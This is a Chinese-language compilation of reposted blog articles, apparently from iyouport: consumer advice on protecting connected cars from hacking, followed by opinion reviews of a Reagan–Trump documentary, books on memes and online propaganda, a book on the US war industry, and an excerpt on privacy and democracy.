黑客们成功远程控制了这辆福特Escape。这些家伙从美国国防高级研

究计划局（DARPA）获得的资金，用于寻找汽车的安全问题。看来这笔钱花得很明智。

他们成功地玩转了对仪表盘和其他小系统的控制，比如燃油表。他们还成功地阻止了汽车的刹车工作，并操纵了转向系统。这已经足够让人惊心动魄了。

在这段视频中，黑客是直接坐在汽车上的，但他们也成功地做到了远程控制。

您能保护自己吗？

「图」

如果您拥有这些精美的、已联网的，启用了应用程序的现代车辆之一，您也并非只能束手无策。

Mercury Insurance 保险集团制作了一个简易的指南，帮助您找出您的车辆的弱点。他们甚至提供了帮助您保护汽车的信息。

在这里下载这本书：*https://www.patreon.com/posts/zhen-dui-qi-che-39412269*

他们的数据库里有大量的汽车品牌和车型，并为您提供了一个漏洞检查的分数，满分为6分，它的分数基于一系列的黑客入口点，包括无线胎压、蓝牙、导航、密钥卡、车载WiFi和多媒体系统。都是汽车黑客的潜在切入点。

您可能认为这只是新车的问题，但是，老车也会被“黑”。比如研究人员检查了一辆2003年的老款大众高尔夫，发现它的密钥卡系统存在黑客漏洞。相当吓人。

虽然黑客对汽车的远程整体控制能力有限，但是，他们的确能够进入汽车，甚至启动发动机！不妨检查一下自己的车。

密钥卡（就是汽车钥匙）

「图」

到目前为止，最常见的问题是通过汽车密钥卡未经授权进入。专家建议通过将密钥卡放在冰箱或微波炉里来避免这点 —— 基本上是像法

拉第笼一样的东西，就像您保护自己的手机避免远程控制那样；或者用铝箔纸包裹，再或者您可以直接买一个RFID 信号阻挡钥匙扣保护器。后者是最安全的，老实说也是一种不太奇怪的方法，此外如果您在加热食物之前忘了把密钥卡从微波炉里拿出来 …… 就麻烦了。

移除OBD II加密狗

「图」

车载诊断系统（OBD）II加密狗是一些保险公司提供的监测您驾驶习惯的设备。对于被认为 “更安全” 的司机来说，可以收获更低的保险费。

它们通过转向柱下方的一个端口连接到您的车子。这显然为潜在的黑客提供了一个非常诱人的 “后门” 入口。所以，当它不被使用时，您需要拔掉它的插头或把它完全移除。

防止网络钓鱼

「图」

现在有些车子已经可以用手机启动。但是您必须想到：如果您能用手机启动，那么其他人也可以做到！挪威的一些研究人员演示了这种技术 —— 他们不仅可以窃取您的所有的信息，还能通过公共WiFi用手机把你的车开走。

网络钓鱼这种事太常见了，也许不必更多解释，点击了这篇文章的大多数人应该都能有识别钓鱼的能力。在上面挪威实验的例子中，研究人员用一个假的免费汉堡的广告来钓鱼，这是要下载一个应用程序到受害者的智能手机，从而入侵。如果受害人贪便宜，就可以使攻击者能够从被感染的手机中操控汽车 —— 一辆不折不扣的特斯拉 Model S。令人震惊。

不要惊慌

「图」

虽然有人可以通过黑客技术进入您的汽车，或者最糟糕的是，能够控制关键系统，这个可能性的确很可怕，但不要惊慌。

现实世界的威胁似乎更多情况下只是来自小偷闯入并拿走东西。目前

他们还可能在您行车中途关闭引擎，但是，很快他们就可以在您不知情的情况下把您的车开走。不仅会让您失去财产，还会制造恐慌。

联网汽车的优势和劣势并存。一方面，它可以为用户提供非常有用的信息，包括发动机性能跟踪和维护，并为制造商改进未来的车型提供微妙的数据。它们还有助于防止事故的发生，并为从故障到寻找最近的加油站等任何事提供车内的帮助。而另一方面，您可能会面临数据被盗的问题，以及被入侵操控的危险。

汽车数字化的速度只会越来越快；内置诊断、工具和附加设备等等，将继续发展和专业化。制造商需要认真思考未来可能提供的车辆的潜在漏洞。

如今的汽车和轻型卡车都装载了有利于汽车黑客攻击的无线入口。虽然目前风险还较低，但是，当您决定购买新车时，肯定值得考虑这个问题。〇

What Is Car Hacking and What Can You Do to Prevent It ?

原文

两个时代，同一种政治毒品 - iyouport

免费书和纪录片

【2021年5月11日存档】如果能有一个完整的历史记忆，这一切都将是常识，可惜，现在并没有...

【按】这篇文章让我们想起此前一些中国朋友告诉我们，“在中国，特朗普的支持者中很多人也是里根的忠实粉丝”。这是个极为敏锐的观察！您能通过这篇文章理解到这点。

尤其有趣的是，今天华人移民中的民主党忠诚支持者抵制特朗普的同时，却很大程度上拒绝讨论里根，您知道这是为什么吗？

请注意这篇文章中暗藏着党派倾向，而两党之间的斗争恰恰是我们不愿关注的部分。您必须了解，特朗普所做的事，是他之前的多任总统或多或少都做过的事 —— 不论是民主党还是共和党总统，并没有任何彻底的不同。

您可以顺便阅读这篇文章《No Matter the Liberal Metric Chosen, the Bush/Cheney Administration Was Far Worse Than Trump.》；以及《The Threat of Authoritarianism in the U.S. is Very Real, and Has Nothing To Do With Trump》。

在 Showtime 最近推出的四集系列纪录片 “里根夫妇” 中，有一个词从未被提及：特朗普。但他们根本不需要提及了。

“里根夫妇” 刮掉了自1989年罗纳德·里根卸任以来一直被涂抹在他身上的那种类似圣徒传记的粘液，露出了底下明显的现实：里根是特朗普的祖先，而特朗普是里根在21世纪的堕落后裔。特朗普之于里根，就像劈拍响之于可卡因一样：更便宜、见效更快、也更没有魅力。不过，在本质上，它们是同一种东西。

【注：劈拍响又称快客可卡因、快克古柯碱，克拉克可卡因，是可卡因的游离碱形式，也是吸食可卡因时的一种常见形式。纯品为泛白色、带有锯齿状边缘的块状固体，密度比烛蜡略高。但它就是可卡

因。】

如果美国能有任何一种历史记忆，这将是常识。可惜我们没有。

就拿里根在任时的人气来说吧。斯坦福大学胡佛研究所在里根卸任后出版了一本关于里根的观点集，把里根称为“我们现代总统中最受欢迎的总统”；历史网 History.com 告诉我们，他是“一个受欢迎的两届总统”；罗纳德·里根总统图书馆和博物馆报告说，他“一直得到非常高的支持率”。

以上这些都是瞎编的。在二战以来的13位总统中，里根的平均支持率只排到第六位。乔治·HW·布什和被弹劾的比尔·克林顿的排名都比里根更高。

《里根夫妇》这套纪录片做得极好的地方就是，它抛弃了这些关于里根的幻想，找回了关于他的基本事实，并试图把它们放回历史中。而当我们想要看看里根到底是谁的时候，他和特朗普的政治基因的相同程度之高真的令人震惊。

最明显的是，两个人在成为政客之前都是艺人。里根是一个假装成橄榄球英雄或战争英雄的演员。实际上，里根并不擅长橄榄球，并且在二战期间一直默默地安居在加州。而特朗普擅长的是一种更粗糙、更具欺骗性的媒介 —— 真人秀，他在真人秀中假装自己是一个成功的商人。在现实中，特朗普的公司已经六次宣布破产。如果特朗普只是把其父亲生前留给他的4亿美元拿去做投资基金，他今天就会多出70亿美元左右。

【注：里根出演过超过50部电视剧；1947年到1952年间，里根担任了美国演员协会的主席，1959至1960年间再次担任；在1950年后期的其中一年里，里根就赚到了高达**$125,000**美元（约为**2006**年的**$800,000**美元）；他最后一次正规的演出是在 Death Valley Days 里担任主持人和演员；最后一次电影演出是在1964年的 The Killers—以欧内斯特·海明威的短篇故事改编的电影，在这部电影中里根饰演一名帮派的头目。】

里根和特朗普都利用了自己的名气把自己变成了低劣的企业推销员。里根卖的是皇冠可乐、切斯特菲尔德香烟、和 Jeris 抗菌护发素。特朗普更无耻，他代言了特朗普牛排、特朗普伏特加、特朗普咖啡豆荚、特朗普饮用水、特朗普棋盘游戏，最不招人喜欢的是特朗普床垫。

他们都能利用自己的名气，从成千上万个汗流浃背、奋力拼搏的竞争者中脱颖而出，永居高位。奥巴马不得不从伊利诺伊州参议员做起，而克林顿则从阿肯色州检察长做起。里根的第一个民选职位是美国人口最多的加利福尼亚州的州长；特朗普则一步到位，直接当上了总统。

里根的公众形象是和蔼可亲的。但是，他有一种强烈的残酷、丑陋的倾向，会不时地表现出来。1969年，警察向数十名伯克利的示威者开枪，打死了一名抗议者。里根后来发表了讲话，称："如果需要流血，那就速战速决吧。" 当绑架帕蒂·赫斯特的激进组织要求她的家人开始向穷人发放免费食物时，里根私下里说："我们不能滋长这种气焰，这太糟糕了"。在与理查德·尼克松的电话中，里根称非洲外交官为 "猴子"。当然，这对特朗普来说只是一个周二早上的推文而已，他有着同样的恶毒，只是没有更多不同了。

【注：帕蒂·赫斯特（Patty Hearst）是美国赫斯特媒体帝国的继承人，上世纪70年代，19岁的帕蒂被激进组织 "SLA" 绑架后加入了该组织，后来被加利福尼亚警方逮捕，被判入狱7年。"SLA" 绑架这位富家女的目的是要求富人给穷人发放食物。】

里根是有史以来新当选总统的最年长者，69岁 —— 直到特朗普70岁获胜首次打破记录。而新当选总统乔·拜登（Joe Biden）现在已经超过了他们两人，在自己78岁生日前击败了特朗普。

里根需要眼镜，但他尽量不在公开场合戴眼镜；特朗普也是如此。尽管里根的年龄很大，但他的头发却始终是墨黑色的。可笑的是，里根否认自己染过头发，但事实上，为他妻子南希工作的同一位美发师也承认为他打理过灰白的发根。特朗普为了掩盖头皮，使用了各种染发和造型，在自然状态下，他的头皮看起来有些像星球大战里的天行者达斯·维德。

里根和特朗普都明显不具备当总统的资格，以至于他们的内部圈子都考虑了用不同寻常的计谋来安抚公众。里根请前总统杰拉尔德·福特做他的竞选伙伴，几乎接近成功；特朗普2016年的竞选活动泄露了一个消息，称他们正在寻找一个副总统人选，副总统将负责常规业务，而特朗普将负责让美国 "变得伟大"。

上图中这本书在这里下载：https://www.patreon.com/posts/great-again-41143520

也许里根所说的话里面有一半与现实有关，而其余的则源于里根大部

分精神生活所处的幻想世界。里根在二战期间从未离开过美国，但他曾对以色列总理伊扎克·沙米尔（Yitzhak Shamir）讲过一个精心设计的故事，说他自己是1945年拍摄集中营的美军部队的摄影师。其实完全没那么回事。而特朗普把里根的捏造倾向扩大到了他在每个议题上所说的每一件事。

最后，里根和特朗普都被美国喷薄而出的民主党人处处低估。在1980年大选前的几周，这场比赛常常被视为两败俱伤。当时《新闻周刊》准备了三种可能的封面：一种是里根胜出，一种是吉米·卡特胜出，还有一种是俩人都没有赢得多数选举人票，比赛被扔进众议院。最终里根赢得了44个州。这是对自由主义体系最大的冲击，直到36年后特朗普的胜利。

《里根夫妇》这套纪录片提出的问题是，为什么我们从一开始就看不出里根和特朗普之间如何高的共同点？

这里有一个小小的但能说明问题的部分答案。《里根夫妇》并不是第一个在 Showtime 上出现的标题节目。该频道在2003年已经播放了一部同名的纪实剧，由詹姆斯·布洛林（James Brolin）饰演里根。它原本是由CBS制作的，但在剧本的部分内容被泄露并遭到共和党人的攻击后，CBS将其强行塞给了 Showtime，并解释说："一个免费的广播网络，在公共电波上向所有人开放，与公众必须付费观看的媒体有着不同的标准。"

换句话说，除了最拟人化的过去版本外，其他的都被封存起来了，远离大众。我们进行了一种有组织的遗忘，然后连遗忘本身也被忘记了。只有一个例外，对2020年的《里根夫妇》的评论中没有提到之前播出的《里根夫妇》。〇

SHOWTIME DOCUMENTARY PROVES TRUMP IS THE 21ST CENTURY REAGAN

原文

两本截然相反的书揭示了一个值得思考的问题 - iYouPort

你如何正在被互联网所改变-媒介效应免费书和纪录片

当中国官媒谴责“丧文化”不够正能量时，它是一个笑柄；但当时笑起来的人们却在同一领域的其他案例中采取了中国官媒同样的思路。这是件有趣的事

这里有两本书，形成了鲜明的对比。这一对比提醒了一件事 —— 在人们的恐惧和愤怒中被忽略的事 —— 关于，责骂和羞辱真的有用吗？如果“解决方案”只是加强管制，其结果是什么？

在 Alex Jones 被全网封杀的时候一位记者提出过这样的问题，“既然 Jones 以阴谋论家著称，这说明大多数人不信任他所说的；那么将他称之为‘危害’的原因是什么？并且，封杀真的能解决阴谋论的流行吗？”

这正是这本书希望解释的问题……

「图」

「图」

六年前，“meme culture”这个短语只能让人想起比如嘲讽脸和悲伤蛙，“感觉很糟糕的人”。

这些角色是新兴数字民俗的面孔。

自那时以来，已经有了许多变化。

那只青蛙被命名为佩佩，并且在2015年，被美国未来的总统放进了推文。

「图」

「图」

此后南方贫困法律中心花了不到一年的时间将 Pepe 这只青蛙归类为仇恨的象征，被白人至上主义者用作吉祥物的东西。

与此同时，希拉里克林顿的竞选活动发表了一个郑重其事的解释：“那只卡通青蛙比你想象的还要险恶！”

在2000年创造了佩佩仅仅是作为一个玩偶形象的艺术家马特·弗里（Matt Furie）被迫采取行动。

当新纳粹分子于2017年8月在弗吉尼亚州的夏洛茨维尔加入游行时，佩佩被正式杀死了，被埋葬在最后的一页漫画中。

Pepe 跌宕的兴衰故事正是过去十年来公众对互联网的看法。

互联网曾经被称为文化平台，尽管如今充满了trolls和犯罪、吸引了从民主被腐蚀的自由派道德恐慌到关于 meme 叛乱力量的右翼崛起的几乎一切。

在特朗普就职的前一天，一位共和党选民说道：”我们做到了。我们让他当上了总统。”

「图」

「图」

哈佛大学伯克曼克莱因互联网与社会研究中心的研究员 An Xiao Mina 的新书《Memes to Movements》试图描绘一种互联网的政治经济。

事实证明，专注于 meme 是一种特别清晰的论述方式。

对于在线政治宣传、虚假新闻、和回声壁，人们只是一片恐慌。这些担忧只能使普通互联网用户成为无能为力的受害者。

但是，Mina 建议我们应该停止将用户视为棋子。

以假新闻为例。

在2016年的一个普遍幻想中，俄罗斯特工、clickbait 网站、和 Facebook 的邪恶商业模式被认为将假新闻推向了无助的未受过训练

的人群，并由此损害了美国的民主。

Mina 拒绝这种屈尊俯就的态度。

“将假新闻视为一系列谎言，这的确很有吸引力”。但是，这会让那些分享假消息的人只是被视为愚蠢。

当人们分享假新闻时，他们不只是在宣称自己信任什么立场是什么；一个虚假的新闻帖子，就像个 **meme**，还有助于传达政治忠诚、引起对问题的关注、以及“表现出政治认同”。

Mina 认为，事实检查无助于解决人们决定分享谎言的根本性原因。

这点的确是关键。而且大多数人不愿意承认。

Memes to Movements 这本书中重复出现的焦点就是 meme，而不是在线新闻或 Twitter 上的辩论。这是作者的聪明之举。

您可以对 Tweet 或文章进行实际检查，但任何关于meme“准确性”的讨论都不是重要的。相反，我们应该问一下：meme对共享它的人做了什么。

Mina 对“meme”的定义比通常的应用范围更广泛，这有助于思考在线和离线的各种媒体。

「图」

「图」

meme 的流行如此之快是因为人们乐于传播它们，而且这样做的理由经常反映出线下的政治现实。

Mina 对互联网文化基层移情式的关切是这本书最大的优势。

在大量案例研究中，该书展示了 meme 之所以引起人们关注的原因 —— 建立政治叙事和创建数字社区。Mina 也花了一些时间证明幽默和严肃性是密切相关的，在线文化渗透到物质世界，**meme** 可以挑战权力也可以加强权力。

在 Pepe 这只青蛙都能成为一个严肃的政治问题的世界里，这一切都不令人惊讶。

这本书的偶尔天真可能是对过去两年来关于互联网政治潜力的悲观情绪的有益纠正。

虽然 Mina 展示了 meme 如何能够为强大的利益服务，但她从不会对民间 **memes** 挑战等级制度并赋予无助者以力量的能力感觉兴奋。

这种谨慎的乐观态度与最近出版的另一本关于互联网的书《LikeWar：社交媒体的武器化》形成鲜明对比。这本书的作者是 P. W. Singer 和 Emerson T. Brooking。

「图」

「图」

这本书的作者决心让人们相信，他们称之为“有毒沼泽”的互联网是一个险恶的战场，黑暗的政治力量在这个战场上掠夺这个民主社会的脆弱性。

“互联网现在只是一个信息本身被武器化的战场”，书中写道。

以下是作者称其已成为“武器化”的不完整列表：“病毒式营销”、“社交媒体提供的个性化”、“一本正经的谎言”、“智能手机”、“meme”和“我们自己的大脑”。

并不是说这些东西不能成为武器。肯定能。

但是，把一切都当成武器的渴望听起来就像是一只战鼓、它自己的宣传形式。

当然，一旦你确定了对社会的威胁，下一步就是提供补救措施。

《Memes to Movements》以充满希望的音符结束，将 memes 称为“我们时代的强大森林”；《LikeWar》的作者则提出了一系列令人不寒而栗的建议。

他们希望美国通过建立一个控制中心来打击错误信息的“病毒式爆发”，从而对其本国公民进行宣传：分享虚假信息的人应该“被看作是教唆犯、是企图伤害整个社会的敌人”。

LikeWar 所做的正是 Memes to Movements 试图避免的，即 将每种新形式的数字争议视为一种威胁性的新奇事物。

Mina 合理地将 meme 战视为人类历史和权力斗争数千年的产物。

互联网可能是改变游戏规则的东西，但这个游戏本身一直存在。〇

- 〇 Alex Jones 之所以流行并非源于“阴谋论在技术协助下的极速膨胀”（虽然互联网传播力的助推效果的确存在），而是，他说出了人们的意见和立场 —— 这些意见和立场存在已久，才会在虚假故事中被激发。封杀 Alex Jones 即 阻止激发，并不能改变那些意见和立场的存在；它所暴露的社会政治问题才是真正需要想办法解决的东西。** As Concerns Over Technology Increase, a New Book Reminds Us the Internet is Made Up of Human Beings

原文

为什么战争成为了最赚钱的生意？：新书 ~ “了解战争工业” - iyouport

免费书和纪录片

【2021年5月26日存档】“我们生活在一个科学野蛮人的时代，在这个时代，科学、数学和物理学的所有智慧都被用于暗杀的目的

【按】2020年有多本揭露战争的新书出版，本文中介绍的是其中之一。您可以在下面看到这本书的访谈。

这篇文章来自于 CovertAction 杂志，去年在谈论中美利益冲突时我们曾经简要介绍过它，它的前身是 CovertAction Quarterly，诞生于1978年，致力于在全球范围内揭露和报告间谍的秘密行动；曾因中情局的骚扰而关闭，2018年5月重新发行，重命名为 CovertAction 杂志。

关于军事承包商如何与五角大楼勾结和串通、扭曲经济、使公民陷入贫困、扭曲国家目标、并煽动不必要的血腥战争，屠杀数百万人，以维持肥沃的公司利润，这是长期以来几乎众所周知的指控。但真相其实比你想象的要糟糕得多 —— 克里斯蒂安·索伦森（Christian Sorensen）的这本不寒而栗的新书令人震惊地表明了这一点。

这不是简单的德怀特·艾森豪威尔总统所说的军工综合体的问题，实际上是一个军工-国会综合体，还有媒体和学术界的辅助。

海外军事基地网络延伸到世界偏远地区，而这些地区传统上是其他帝国的领地。

例如，自2007年成立非洲经济共同体以来，美军在马里获得了一个前哨基地，在尼日尔、吉布提、塞舌尔和肯尼亚都获得了无人机基地，在埃塞俄比亚获得了国家安全局（NSA）的设施，并在饱受战争蹂躏的利比亚和索马里上空飞行无人机。

美国军方是当今世界上造成气候变化的温室气体最大的排放者之一，

被豁免于气候变化协定》(当时美国正在遵守该协定)。目前，美国各地还有至少3.9万个污染性的军事基地，越来越多的物种面临灭绝的威胁，越来越多的人因美国武器系统的有毒残留物而生病。

2018年，五大战争公司赚了160多亿美元，而当时平均每天有50万美国人无家可归。为了维持这些公司的暴利，他们花费数百万美元游说国会山，并向国会摊派了数百万美元的竞选捐款。仅在2012年，这些战争公司就捐了约3000万美元，2014年捐了2550万美元。

这些钱大部分都给了拨款和武装事务委员会，这些委员会为巨额的军事预算盖上了橡皮图章，这些预算的数额超过了下图中十个国家的总和。请注意这个图，其中中国是比重最高的。

「图」

参议院军事委员会排名第一的罗得岛州的杰克·里德（Jack Reed），其特点是收受通用动力、雷神、德事隆、阿波罗全球管理公司（重仓战争产业的私募股权公司）和美林、花旗等大型投行的资金，并利用职务之便帮助德事隆赢得了一份价值6.41亿美元的美国合同，为沙特制造1300枚集束炸弹。

【注：集束炸弹是将小型炸弹集合成一般空用炸弹的型态，利用数量的特性增加涵盖面积和杀伤范围。较先进的双用途集束炸弹，其子弹不仅可击穿125毫米装甲，且爆炸后形成的碎片可在足球场大小范围内产生巨大杀伤力。】

俄克拉荷马州否认气候变化的共和党参议员詹姆斯·英霍夫（James Inhofe）在特朗普（Donald Trump）的领导下担任委员会主席，他接受了波音、通用动力、霍尼韦尔、亨廷顿·英格尔斯工业（Huntington-Ingalls）和 Orbital TK 的捐款，同时在过去五年中还从石油和天然气行业获得了超过33.8万美元的捐款，而石油和天然气行业从海外军事干预和巨额军事预算中获得了巨大的利润，而这正是英霍夫一直以来所倡导的。左：参议员詹姆斯·英霍夫（James Inhofe）（R-OK）支持庞大的军事预算，同时从国防承包商和石油行业获得数百万美元的竞选捐款

除了腐败的国会外，军工综合体还依靠将军们的旋转门来维持，他们从高级军事职位转到国防承包商的执行委员会，在那里，他们游说越来越高的军事预算。

詹姆斯·马蒂斯（James Mattis）的特点是，从美国中央司令部司令到

通用动力公司董事会成员的旋转门，他在国会面前发誓，减少军费开支是对美国国家安全的“威胁”，到2017年1月被任命为国防部长，他监督武器销售和战争预算的增长。其他高级官员，如前中央情报局局长约翰·布伦南（John Brennan），则在电视上或军方公司资助的智囊团中找到了兜售新战争的丰厚工作。

索伦森写道，在为反恐战争注入数万亿美元的军费后，战争产业现在“又开始通过‘大国竞争’来兜售战争”。这“让五角大楼有借口将更多的公司化部队、雇佣兵、以及商品和服务部署到俄罗斯边境，而五角大楼领导层则将这种永久性的战争立足点风格化为有利于和平”。

与此同时，行政部门已经开始承担起国际军火贩子的职能。

在任何一天，国防安全合作局（DSCA）都管理着与185个国家的14,000个对外军售项目。后者包括一些地球上最具压迫性的国家，比如 以色列，它使用波音、卡特彼勒、通用电气、洛克希德-马丁、摩托罗拉和诺斯洛普·格鲁门公司制造的武器，系统性地压迫巴勒斯坦人；沙特则使用通用动力和洛克希德-马丁公司的武器粉碎也门。

从2015年5月到2016年3月，美国的战争公司还向阿联酋等反民主的海湾盟友出售了价值超过300亿美元的商品和服务，阿联酋在也门发动了肮脏的战争，并以残酷镇压异议团体而闻名。在南半球，美国的军事和企业行动在洪都拉斯和哥伦比亚等国造成了毁灭性的代价，空袭毒害了土地，准军事行刑队恐吓工会活动家和左翼哥伦比亚革命武装力量（FARC）的支持者，后者的主要纲领是重新分配土地和财富。

「图」

根据法律，美国不允许向通过政变上台的政权出售武器。然而，战争工业成功地游说政府不承认公然的政变，比如2013年的埃及政变和2014年的乌克兰政变。同时，战争工业竭尽全力维持冲突，比如在朝鲜，它从无休止的军事对峙中获利。斯德哥尔摩国际和平研究所（SIPRI）的饼图显示了各个国家/地区2018年的全球军事支出，基本单位是十亿美元

它还在通过“亚洲支点”政策挑起新的矛盾，这一政策导致了对中国的军事包围，推动北约向俄罗斯边境扩张，以及在波兰和罗马尼亚部署直接针对俄罗斯的导弹技术。开启1.74万亿美元的核现代化努力，最终可能将人类引向世界末日。

索伦森这本书的贡献之一是展示了战争工业如何通过强调其“绿色倡议”和劳动力的多样性来维持“进步”的外衣。

约翰·布伦南在2013年至2017年担任中情局局长期间为非裔美国人拓展了新的机会，现在很多CEO都是女性，比如洛克希德-马丁公司的玛丽莲·休森（Marilyn Hewson），她连续三年被选为“福布斯”最强大的商界女性。然而，如果考虑到她对系统性迫害妇女的沙特政权的赞美，或者对杀害妇女儿童、破坏家庭的战争的支持，休森的女权主义并没有走得很远。洛克希德·马丁公司首席执行官玛丽莲·休森与特朗普

2018年，五角大楼—— 索伦森理所当然地称之为“战争部”—— 超过2.7万亿美元的资产未能通过审计。进行审计的会计师事务所得出的结论是，五角大楼的财务记录“充斥着许多记账缺陷、违规和错误，以至于根本不可能进行可靠的审计”。

五角大楼前雇员富兰克林·C·斯宾尼 (Franklin C. Spinney) 指出了一个相关的会计技巧，五角大楼经常高估武器系统的通胀率，当实际通胀率变成较低时，却不将多余的资金返还给财政部。这样的把戏导致了过剩的泥沙基金被用来资助撒哈拉以南非洲等地的秘密军事行动，而这些地方的矿产资源是跨国公司所觊觎的。

波多黎各民族主义领袖佩德罗·阿尔比苏·坎波斯(1891–1965年)曾经说过，“我们生活在一个科学野蛮人的时代，在这个时代，科学、数学和物理学的所有智慧都被用于暗杀的目的”。这些话是在无人机普及之前说的，如今无人机是战争工业最喜欢的产品之一，它已经被用来杀死至少8000名平民。2017年3月24日，居民在运送伊拉克摩苏尔的一次空袭中丧生的平民尸体

如果所有在这些战争机器上工作的天才们都将自己的才华投入到更有用的东西上，例如新疫苗、治愈癌症或碳捕集技术，那么这个世界将会变得更加美好。

挑战战争工业的力量的第一步是一个和平教育计划，这将使选民对其有害活动产生更广泛的认识。但遗憾的是，当下的教育体系已经被腐蚀，它仅仅旨在培养孩子们从小就有条件顺应现状。在越战的高峰期，学生们的抗议迫使各大大学取消了与军事相关的研究，但从80年代的预算削减开始，这种研究又回来了，然后作为了反恐战争的一部分。现在教授们相互竞争，争夺有助于提高军方效率的补助金，因为真正的科学创新、良好的学术精神和对真理的追求已经被扼杀了。

2011年，俄亥俄州迈阿密大学以洛克希德-马丁公司的名字命名了一个领导力学院，这就是学术界对战争暴利者的顺从的缩影。威廉·麦克雷文上将（William Harry McRaven）曾监督专门从事恐怖分子搜捕和政治暗杀的联合特种作战司令部（JSOC），他在2015年被任命为德克萨斯大学系统的校长，这也很有说服力。威廉·麦克雷文上将在得克萨斯大学致开幕词，2014年

《战争工业》这本书读起来很压抑，正因为它所提供的所有信息都是有事实依据的，是基于深入研究的。作者可能会更好地强调一件事，那就是：战争工业就植根于殖民者国家的建国之初。不过，这本书还是继承了那些揭露战争血腥生意的反抗者们的崇高传统。在20世纪30年代的反战运动中，那些暴利者被嘲讽地称为“死亡商人”，而今天，他们却因具有公民意识而受到尊敬，并捐赠赞助各大大学的教席和系所。和平运动显然有许多工作要做。○

Wars R Us: A Review of Christian Sorensen’s New Book “Understanding the War Industry”

原文

为什么民主需要隐私 - iyouport

免费书和纪录片

权力可以带来一种制度，使人们产生违背自身利益的愿望

本文摘自一本新书：《隐私就是权力》。在这里下载这本书。

想象一下您有一把生活的主钥匙，它可以打开您的一切私密生活。您会到处复制它，并把它们随便分给陌生人吗？可能不会。那么，为什么您愿意把自己的个人数据交给几乎所有问您要数据的人呢？

隐私就像一把钥匙，可以打开你自己最隐秘、最私人的方面，最能让你成为你的东西。赤裸的身体，性史和幻想；你的过去、现在和未来可能的疾病；你的恐惧，你的损失，你的失败；你做过的、说过的、想过的最糟糕的事；你的不足、你的错误、你的创伤；你感到最羞愧的时刻；那个你希望自己没有的家庭关系；你醉到断片的夜晚 ……

那些不把你的利益放在心上的人，会利用你的数据来推进他们自己的议程。而与你互动的大多数人和公司都没有把你的利益放在首位。隐私很重要，因为缺乏隐私会让别人对你具有控制权。甚至比金钱利益更重要的是，个人数据赋予那些收集和分析它的人以巨大的权力，这就是它如此令人垂涎的原因。

唯一比金钱更有价值的是权力。权力可以让你得到任何东西、做到任何事。如果你拥有权力，你不仅可以拥有金钱，还可以想做什么就做什么。如果你有足够的权力，它甚至可以让你凌驾于法律之上。

权力有两个方面。第一个是哲学家莱纳·佛罗斯特所定义的 “A激励B去思考或做一些B本来不会去想或去做的事的能力”。有权势的人和机构可以让你想他们想让你想的东西和做他们想让你做的事。有权势的人实施其操纵能力的手段是多种多样的，包括激励性的演讲、建议、意识形态的世界叙事、诱惑、和可信的威胁。在数字时代，这些操纵手段可以包括分类算法、有说服力的应用程序、个性化广告、假新闻、假团体和假账户，以及将科技描绘成解决我们每一个问题的重复叙述，以及其他许多施加权力的手段。我们可以称之为软权力。

权力的第二个方面是蛮力。社会学的创始人之一马克斯·韦伯将权力的第二个方面描述为人和机构 “不顾阻力执行自己的意志” 的能力。我们可以称之为硬权力。

简而言之，强大的人和机构使你我的行为和思考方式与没有他们影响的情况下不同。如果他们不能影响你我，使我们按照他们的意愿行事和思考，那么，有权势的人和机构就可以对我们施加武力 —— 他们可以对我们做我们自己不愿做的事。

事实上，权力和知识之间有着紧密的联系。权力创造知识，并决定什么可以算作知识。

通过收集你的数据，了解你的情况，谷歌变得拥有巨大的权力，而这种权力让谷歌可以通过使用你的个人数据来决定什么算得上是关于你的知识。

比如说，如果谷歌把你归类为一个没有大学学历、患有焦虑症的中年男子，那么这就可以算作对你的了解 —— 即使它是完全错误的，或者是断章取义的，或者是过时的，或者是不相关的。而谷歌就据此来对你进行定向灌输。

通过保护我们的隐私，我们可以防止他人获得关于我们的知识，从而避免它们被用来侵害我们的利益。通过拥有更多的权力，我们就能对什么算作知识有更多的发言权。我们应该部分地决定什么是关于我们自己的知识；我们应该对允许别人感知或推断关于我们的知识有发言权。

别人对你了解得越多，就越能预知你的一举一动，也越能操纵你。福柯（Michel Foucault）对我们理解权力的最重要的贡献之一是洞察到权力不仅作用于人 —— 它还建构了人的主体。权力产生了某种心态；它改变了敏感度；它带来了在世界中存在的方式。在这方面，政治和社会理论家史蒂文·卢克斯指出，权力可以带来一种制度，使人们产生违背自身利益的愿望。

人们的欲望本身就可以是权力的结果，越是隐形的权力手段越是强大。权力塑造偏好的一个例子是，科技公司利用研究多巴胺的工作原理，让你对一款应用上瘾。想象巧克力蛋糕的味道有多好，就会激励你去买它，吃它。预测当你的朋友喜欢你的样子时，你会感到多么地被认可，这激励你拍一张自拍并在网上分享。然后你就自动进入面部识别数据库了。

科技公司使用的战术，比如创造不定时的奖励 —— 这就是老虎机如此让人上瘾的原因—— 以及使用灰暗的颜色来让你尽可能多地参与他们的平台。对你的文字的点赞和评论会给你带来一点多巴胺的刺激。你对一个有说服力的应用的参与欲望并不是来自于你内心深处的承诺和价值观。你通常不会一觉醒来就想："今天我想花三个小时无意识地在Facebook的无限新闻源中滚动"。你的欲望是由科技的权力产生的。从这个意义上说，它并不完全属于你。另一个例子是，政治竞选者研究你的信念、情感和认知倾向，给你展示一个广告，促使你按照他们所希望的方式行事。

当双方的知识不对称时，由知识衍生的权力，以及由权力定义的知识，就会更加具有支配性。比如说，如果 Facebook 知道关于你的所有事，而你对 Facebook 一无所知，那么 Facebook 对你的权力就会比双方对对方的了解程度相等时更大。如果 Facebook 知道关于你的一切，而你认为 Facebook 什么都不知道，或者你不知道 Facebook 知道多少，那么这种不对称性就会变得更加明显。这让你变得加倍无知。

因了解某人的个人细节而产生的权力是一种非常特殊的权力，尽管它也让那些拥有这种权力的人有可能将其转化为经济、政治和其他类型的权力。

反过来说，隐私赋予我们作为公民集体的权力是民主所必需的——我们可以根据自己的信仰进行投票而不受到不适当的压力，我们可以匿名抗议而不担心被警察抓捕，可以自由结社，说出自己的想法，阅读我们好奇的东西。如果我们要生活在一个民主的社会里，大部分的权力就需要掌握在人民手中。而谁拥有数据，谁就拥有权力。隐私之所以重要，是因为它把权力交给了人民。隐私是一种公共利益， 捍卫它是我们的公民义务。

也许在几十年前，我们可以认为，为了维持自由民主，我们需要隐私。但如今，民主并没有达到普及的高度。在世界各地，公民自由和政治权利在过去十二年中不断下降 —— 2017年只有三十五个国家有所改善，而七十一个国家全部下降。在冠状病毒大流行期间，对民主的攻击只会加速。根据华盛顿智库 "自由之家" 的数据，自冠状病毒爆发以来，80个国家的民主和对人权的尊重都在恶化。

